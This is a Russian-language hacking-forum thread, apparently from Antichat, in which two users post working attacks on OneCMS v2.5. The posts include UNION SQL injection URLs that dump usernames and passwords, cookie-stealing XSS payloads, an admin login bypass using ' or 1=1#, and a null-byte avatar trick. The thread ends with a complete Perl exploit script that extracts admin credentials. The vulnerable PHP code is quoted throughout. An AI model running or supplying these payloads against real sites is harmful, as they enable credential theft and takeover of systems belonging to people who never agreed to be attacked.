OneCMS

[Ctacok]

OneCMS

SQL Иньекция.
/elite.php?user=-1'+union+select+1,2,3,4,5,6,7,8,9,10+--+

Уязвимый код:

$row = mysql_fetch_row(mysql_query("SELECT aim,msn,website,nickname,location,username,yahoo,i cq,gtalk,birthday FROM onecms_profile WHERE id = '".$_GET['user']."'"));
$aim = stripslashes($row[0]);
$msn = stripslashes($row[1]);
$website = stripslashes($row[2]);
$nickname = stripslashes($row[3]);
$location = stripslashes($row[4]);
$yahoo = stripslashes($row[6]);
$icq = stripslashes($row[7]);
$gtalk = stripslashes($row[8]);
$bday = explode("|", $row[9]);


/boards.php?t=report&id=-1'+union+select+1,2,3,4,5,6+--+
Уязвимый код:

if (($_GET['t'] == "report") && ($_GET['id'])) {
$id = $_GET['id'];
$info = mysql_fetch_row(mysql_query("SELECT subject,type,tid,uid,ip,fid FROM onecms_posts WHERE id = '".$id."'"));

(Выводимое поле 1)
/index.php?list=1'+union+select+1,2,3,4,5,6,7,8,9,1 0,11+--+
Уязвимый код:
$sql = mysql_query("SELECT * FROM onecms_content WHERE cat = '".$_GET['list']."' AND systems = '".$_GET['s']."' AND games = '".$_GET['g']."' AND name LIKE '".$_GET['abc']."%' AND ver = '0' ORDER BY `".$by."` ".$type." LIMIT ".$limit);
(Выводимое поле 2)
Активная XSS:
/topic1.html
Отвечаем:
javascript:alert()

[.:[melkiy]:.]

OneCMS v2.5

1) sql injection (требования: mq=off)

file: boards.php


$res = "SELECT * FROM ".$pre."users";
if ($_GET['rank']) {
$res .= " WHERE rank = '".$_GET['rank']."'";
}
$res .= " ORDER BY `id` DESC";
$query = mysql_query($res);


result:

boards.php?t=list&rank=Queen'+union+select+1,concat_ws(0x3a,username ,password),3,4,5,6,7,8,9,10,11,12,13+from+onecms_u sers+--+

//очень много инъекций..

[Ctacok]

Иньекций много, но уже фильтруються

OneCMS v2.5.

Пути:
/index.php?load=elite&view=friends&user[]=

/index.php?load=elite
Аву на %00 меняем.


Пассивная XSS:
/index.php?load=elite&view=collectio1n'</title><script>alert(document.cookie);</script><title>123&user=

Активная XSS:
index.php?load=elite
в AIM: <script>alert(document.cookie);</script>

Там ещё в админке auth By pass, но чо то редирект глючный, проверьте у себя

[.:[melkiy]:.]

Там ещё в админке auth By pass, но чо то редирект глючный, проверьте у себя

хм.. у меня всё нормально..


1) By pass (требования: mq=off)

file: admin.php


if ($_GET['load'] == "login") {
$admin_page = "yes";
if ($_GET['login'] == "yes") {
$usernameb = check(stripcslashes($_POST['username']));
$passwordc = check($_POST['password']);
$passwordb = md5($passwordc);

$sql = mysql_query("SELECT * FROM ".$pre."users WHERE username = '".$usernameb."' AND password = '".$passwordb."' LIMIT 1");
$login_check = mysql_num_rows($sql);


result:

login: ' or 1=1#
pass: -


2) sql injection (требования: mq=off)

file:index.php


if ($_GET['user']) {
$row = mysql_fetch_row(mysql_query("SELECT aim,msn,website,nickname,location,username,yahoo,i cq,gtalk,birthday,id FROM ".$pre."profile WHERE username = '".$_GET['user']."'"));
echo profile($row[10], $_GET['user']);
}


result:

/index.php?load=elite&user=1'+union+select+concat_ws(0x3a,username,passw ord),2,3,4,5,6,7,8,9,10,11+from+onecms_users+--+

[Ctacok]

:.']хм.. у меня всё нормально..
....

file:index.php


if ($_GET['user']) {
$row = mysql_fetch_row(mysql_query("SELECT aim,msn,website,nickname,location,username,yahoo,i cq,gtalk,birthday,id FROM ".$pre."profile WHERE username = '".$_GET['user']."'"));
echo profile($row[10], $_GET['user']);
}


result:

/index.php?load=elite&user=1'+union+select+concat_ws(0x3a,username,passw ord),2,3,4,5,6,7,8,9,10,11+from+onecms_users+--+
Ну про второе я тоже видел, просто у меня в PHP mq = on был :)
Накидал сплойтик.
#!/usr/bin/perl
use LWP::Simple;
print "\n";
print "################################################## ############\n";
print "# ONECMS v2.5 SQL INJECTION #\n";
print "# Bug founded by: .:[melkiy]:. #\n";
print "# Exploit coded by: Ctacok #\n";
print "# Special for Antichat (forum.antichat.ru) #\n";
print "# Require : Magic_quotes = Off #\n";
print "################################################## ############\n";
if (@ARGV < 2)
{
print "\n Usage: exploit.pl [host] [path] ";
print "\n EX : exploit.pl www.localhost.com /path/ prefix \n\n";
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
$prefix=$ARGV[2]; # PREFIX TABLES, Default: onecms
$vuln = "-2'+union+select+1,2,3,4,5,6,7,8,concat(0x3a3a3a,id ,0x3a,username,0x3a,password,0x3a3a3a),10,11+from+".$prefix."_users";
$doc = get($host.$path."index.php?load=elite&user=".$vuln."+--+");
if ($doc =~ /:::(.+):(.+):(.+):::/){
print "\n[+] Admin id: : $1";
print "\n[+] Admin email: $2";
print "\n[+] Admin password: $3";
}